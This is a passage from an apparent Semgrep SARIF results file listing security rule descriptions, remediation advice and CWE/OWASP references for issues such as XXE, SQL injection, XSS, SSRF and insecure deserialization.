`$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `$PARSER.setExpandEntities(false)` It is also possible to use one of the constructor parameters that will result in a more secure parser by default: `new SAXBuilder(XMLReaders.DTDVALIDATING)` or `new SAXBuilder(XMLReaders.XSDVALIDATING)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The XML parser $PARSER is not securely configured. The current configuration allows for XXE attacks. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `$PARSER.setExpandEntities(false)` It is also possible to use one of the constructor parameters that will result in a more secure parser by default: `new SAXBuilder(XMLReaders.DTDVALIDATING)` or `new SAXBuilder(XMLReaders.XSDVALIDATING)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.saxbuilder-xxe.saxbuilder-xxe)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/827.html](https://cwe.mitre.org/data/definitions/827.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The XML parser $PARSER is not securely configured. The current configuration allows for XXE attacks. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `$PARSER.setExpandEntities(false)` It is also possible to use one of the constructor parameters that will result in a more secure parser by default: `new SAXBuilder(XMLReaders.DTDVALIDATING)` or `new SAXBuilder(XMLReaders.XSDVALIDATING)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.saxbuilder-xxe.saxbuilder-xxe","id":"java.lang.security.xxe.saxbuilder-xxe.saxbuilder-xxe","name":"java.lang.security.xxe.saxbuilder-xxe.saxbuilder-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.saxbuilder-xxe.saxbuilder-xxe"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.sql.gorilla-pgx-slqi-taint.gorilla-pgx-sqli-taint)\n - [https://github.com/jackc/pgx](https://github.com/jackc/pgx)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pkg.go.dev/github.com/jackc/pgx/v4#hdr-Connection_Pool](https://pkg.go.dev/github.com/jackc/pgx/v4#hdr-Connection_Pool)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters."},"helpUri":"https://semgrep.dev/r/go.gorilla.sql.gorilla-pgx-slqi-taint.gorilla-pgx-sqli-taint","id":"go.gorilla.sql.gorilla-pgx-slqi-taint.gorilla-pgx-sqli-taint","name":"go.gorilla.sql.gorilla-pgx-slqi-taint.gorilla-pgx-sqli-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.sql.gorilla-pgx-slqi-taint.gorilla-pgx-sqli-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'content_tag' exhibits unintuitive escaping behavior and may accidentally expose your application to cross-site scripting. If using Rails 2, only attribute values are escaped. If using Rails 3, content and attribute values are escaped. Tag and attribute names are never escaped. Because of this, it is recommended to use 'html_safe' if you must render raw HTML data."},"help":{"markdown":"'content_tag' exhibits unintuitive escaping behavior and may accidentally expose your application to cross-site scripting. If using Rails 2, only attribute values are escaped. If using Rails 3, content and attribute values are escaped. Tag and attribute names are never escaped. Because of this, it is recommended to use 'html_safe' if you must render raw HTML data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.avoid-content-tag.avoid-content-tag)\n - [https://brakemanscanner.org/docs/warning_types/content_tag/](https://brakemanscanner.org/docs/warning_types/content_tag/)\n","text":"'content_tag' exhibits unintuitive escaping behavior and may accidentally expose your application to cross-site scripting. If using Rails 2, only attribute values are escaped. If using Rails 3, content and attribute values are escaped. Tag and attribute names are never escaped. Because of this, it is recommended to use 'html_safe' if you must render raw HTML data."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.avoid-content-tag.avoid-content-tag","id":"ruby.rails.security.audit.xss.templates.avoid-content-tag.avoid-content-tag","name":"ruby.rails.security.audit.xss.templates.avoid-content-tag.avoid-content-tag","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.templates.avoid-content-tag.avoid-content-tag"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using user input when accessing files is potentially dangerous. A malicious actor could use this to modify or access files they have no right to."},"help":{"markdown":"Using user input when accessing files is potentially dangerous. A malicious actor could use this to modify or access files they have no right to.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.avoid-tainted-file-access.avoid-tainted-file-access)\n - [https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/file_access/index.markdown](https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/file_access/index.markdown)\n","text":"Using user input when accessing files is potentially dangerous. A malicious actor could use this to modify or access files they have no right to."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.avoid-tainted-file-access.avoid-tainted-file-access","id":"ruby.rails.security.audit.avoid-tainted-file-access.avoid-tainted-file-access","name":"ruby.rails.security.audit.avoid-tainted-file-access.avoid-tainted-file-access","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.avoid-tainted-file-access.avoid-tainted-file-access"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"String-formatted SQL query detected. This could lead to SQL injection if the string is not sanitized properly. Audit this call to ensure the SQL is not manipulable by external data."},"help":{"markdown":"String-formatted SQL query detected. This could lead to SQL injection if the string is not sanitized properly. Audit this call to ensure the SQL is not manipulable by external data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.database.string-formatted-query.string-formatted-query)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"String-formatted SQL query detected. This could lead to SQL injection if the string is not sanitized properly. Audit this call to ensure the SQL is not manipulable by external data."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.database.string-formatted-query.string-formatted-query","id":"go.lang.security.audit.database.string-formatted-query.string-formatted-query","name":"go.lang.security.audit.database.string-formatted-query.string-formatted-query","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.database.string-formatted-query.string-formatted-query"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a template variable used as the 'src' in a script tag. Although template variables are HTML escaped, HTML escaping does not always prevent malicious URLs from being injected and could results in a cross-site scripting (XSS) vulnerability. Prefer not to dynamically generate the 'src' attribute and use static URLs instead. If you must do this, carefully check URLs against an allowlist and be sure to URL-encode the result."},"help":{"markdown":"Detected a template variable used as the 'src' in a script tag. Although template variables are HTML escaped, HTML escaping does not always prevent malicious URLs from being injected and could results in a cross-site scripting (XSS) vulnerability. Prefer not to dynamically generate the 'src' attribute and use static URLs instead. If you must do this, carefully check URLs against an allowlist and be sure to URL-encode the result.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.xss.ejs.var-in-script-src.var-in-script-src)\n - [https://www.veracode.com/blog/secure-development/nodejs-template-engines-why-default-encoders-are-not-enough](https://www.veracode.com/blog/secure-development/nodejs-template-engines-why-default-encoders-are-not-enough)\n - [https://github.com/ESAPI/owasp-esapi-js](https://github.com/ESAPI/owasp-esapi-js)\n","text":"Detected a template variable used as the 'src' in a script tag. Although template variables are HTML escaped, HTML escaping does not always prevent malicious URLs from being injected and could results in a cross-site scripting (XSS) vulnerability. Prefer not to dynamically generate the 'src' attribute and use static URLs instead. If you must do this, carefully check URLs against an allowlist and be sure to URL-encode the result."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.xss.ejs.var-in-script-src.var-in-script-src","id":"javascript.express.security.audit.xss.ejs.var-in-script-src.var-in-script-src","name":"javascript.express.security.audit.xss.ejs.var-in-script-src.var-in-script-src","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.xss.ejs.var-in-script-src.var-in-script-src"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.hardcoded.headers.hardcoded-bearer-token.hardcoded-bearer-token)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.lang.hardcoded.headers.hardcoded-bearer-token.hardcoded-bearer-token","id":"python.lang.hardcoded.headers.hardcoded-bearer-token.hardcoded-bearer-token","name":"python.lang.hardcoded.headers.hardcoded-bearer-token.hardcoded-bearer-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.hardcoded.headers.hardcoded-bearer-token.hardcoded-bearer-token"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `setContent` method it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `setContent` method it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.playwright.security.audit.playwright-setcontent-injection.playwright-setcontent-injection)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"If unverified user data can reach the `setContent` method it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.playwright.security.audit.playwright-setcontent-injection.playwright-setcontent-injection","id":"javascript.playwright.security.audit.playwright-setcontent-injection.playwright-setcontent-injection","name":"javascript.playwright.security.audit.playwright-setcontent-injection.playwright-setcontent-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.playwright.security.audit.playwright-setcontent-injection.playwright-setcontent-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"User data detected in os.system. This could be vulnerable to a command injection and should be avoided. If this must be done, use the 'subprocess' module instead and pass the arguments as a list."},"help":{"markdown":"User data detected in os.system. This could be vulnerable to a command injection and should be avoided. If this must be done, use the 'subprocess' module instead and pass the arguments as a list.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.injection.os-system-injection.os-system-injection)\n - [https://owasp.org/www-community/attacks/Command_Injection](https://owasp.org/www-community/attacks/Command_Injection)\n","text":"User data detected in os.system. This could be vulnerable to a command injection and should be avoided. If this must be done, use the 'subprocess' module instead and pass the arguments as a list."},"helpUri":"https://semgrep.dev/r/python.flask.security.injection.os-system-injection.os-system-injection","id":"python.flask.security.injection.os-system-injection.os-system-injection","name":"python.flask.security.injection.os-system-injection.os-system-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.injection.os-system-injection.os-system-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.deserialization.tainted-shelve-flask.tainted-shelve-flask)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://docs.python.org/3/library/shelve.html](https://docs.python.org/3/library/shelve.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources."},"helpUri":"https://semgrep.dev/r/python.flask.deserialization.tainted-shelve-flask.tainted-shelve-flask","id":"python.flask.deserialization.tainted-shelve-flask.tainted-shelve-flask","name":"python.flask.deserialization.tainted-shelve-flask.tainted-shelve-flask","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.deserialization.tainted-shelve-flask.tainted-shelve-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Cipher in ECB mode is detected. ECB mode produces the same output for the same input each time which allows an attacker to intercept and replay the data. Further, ECB mode does not provide any integrity checking. See https://find-sec-bugs.github.io/bugs.htm#CIPHER_INTEGRITY."},"help":{"markdown":"Cipher in ECB mode is detected. ECB mode produces the same output for the same input each time which allows an attacker to intercept and replay the data. Further, ECB mode does not provide any integrity checking. See https://find-sec-bugs.github.io/bugs.htm#CIPHER_INTEGRITY.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.ecb-cipher.ecb-cipher)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Cipher in ECB mode is detected. ECB mode produces the same output for the same input each time which allows an attacker to intercept and replay the data. Further, ECB mode does not provide any integrity checking. See https://find-sec-bugs.github.io/bugs.htm#CIPHER_INTEGRITY."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.ecb-cipher.ecb-cipher","id":"java.lang.security.audit.crypto.ecb-cipher.ecb-cipher","name":"java.lang.security.audit.crypto.ecb-cipher.ecb-cipher","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.ecb-cipher.ecb-cipher"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found usage of the 'blocksize' argument in a HTTPConnection call. This is only available on Python 3.7+ and is therefore not backwards compatible. Remove this in order for this code to work in Python 3.6 and below."},"help":{"markdown":"Found usage of the 'blocksize' argument in a HTTPConnection call. This is only available on Python 3.7+ and is therefore not backwards compatible. Remove this in order for this code to work in Python 3.6 and below.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-httpconn)\n","text":"Found usage of the 'blocksize' argument in a HTTPConnection call. This is only available on Python 3.7+ and is therefore not backwards compatible. Remove this in order for this code to work in Python 3.6 and below."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-httpconn","id":"python.lang.compatibility.python37.python37-compatibility-httpconn","name":"python.lang.compatibility.python37.python37-compatibility-httpconn","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-httpconn"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"help":{"markdown":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.jwt.security.jwt-none-alg.jwt-python-none-alg)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"helpUri":"https://semgrep.dev/r/python.jwt.security.jwt-none-alg.jwt-python-none-alg","id":"python.jwt.security.jwt-none-alg.jwt-python-none-alg","name":"python.jwt.security.jwt-none-alg.jwt-python-none-alg","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.jwt.security.jwt-none-alg.jwt-python-none-alg"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-pandas-pickle-aws-lambda.tainted-pandas-pickle-aws-lambda)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html](https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-pandas-pickle-aws-lambda.tainted-pandas-pickle-aws-lambda","id":"python.aws-lambda.deserialization.tainted-pandas-pickle-aws-lambda.tainted-pandas-pickle-aws-lambda","name":"python.aws-lambda.deserialization.tainted-pandas-pickle-aws-lambda.tainted-pandas-pickle-aws-lambda","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.deserialization.tainted-pandas-pickle-aws-lambda.tainted-pandas-pickle-aws-lambda"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"This rule has been deprecated, as all s3 buckets are encrypted by default with no way to disable it. See https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/s3_bucket_server_side_encryption_configuration for more info."},"help":{"markdown":"This rule has been deprecated, as all s3 buckets are encrypted by default with no way to disable it. See https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/s3_bucket_server_side_encryption_configuration for more info.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.s3-unencrypted-bucket.s3-unencrypted-bucket)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/s3_bucket#server_side_encryption_configuration](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/s3_bucket#server_side_encryption_configuration)\n - [https://docs.aws.amazon.com/AmazonS3/latest/userguide/bucket-encryption.html](https://docs.aws.amazon.com/AmazonS3/latest/userguide/bucket-encryption.html)\n","text":"This rule has been deprecated, as all s3 buckets are encrypted by default with no way to disable it. See https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/s3_bucket_server_side_encryption_configuration for more info."},"helpUri":"https://semgrep.dev/r/terraform.lang.security.s3-unencrypted-bucket.s3-unencrypted-bucket","id":"terraform.lang.security.s3-unencrypted-bucket.s3-unencrypted-bucket","name":"terraform.lang.security.s3-unencrypted-bucket.s3-unencrypted-bucket","properties":{"precision":"very-high","tags":["CWE-311: Missing Encryption of Sensitive Data","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.s3-unencrypted-bucket.s3-unencrypted-bucket"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Access-Control-Allow-Origin response header is set to \"*\". This will disable CORS Same Origin Policy restrictions."},"help":{"markdown":"Access-Control-Allow-Origin response header is set to \"*\". This will disable CORS Same Origin Policy restrictions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.symfony.security.audit.symfony-permissive-cors.symfony-permissive-cors)\n - [https://developer.mozilla.org/ru/docs/Web/HTTP/Headers/Access-Control-Allow-Origin](https://developer.mozilla.org/ru/docs/Web/HTTP/Headers/Access-Control-Allow-Origin)\n","text":"Access-Control-Allow-Origin response header is set to \"*\". This will disable CORS Same Origin Policy restrictions."},"helpUri":"https://semgrep.dev/r/php.symfony.security.audit.symfony-permissive-cors.symfony-permissive-cors","id":"php.symfony.security.audit.symfony-permissive-cors.symfony-permissive-cors","name":"php.symfony.security.audit.symfony-permissive-cors.symfony-permissive-cors","properties":{"precision":"very-high","tags":["CWE-346: Origin Validation Error","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: 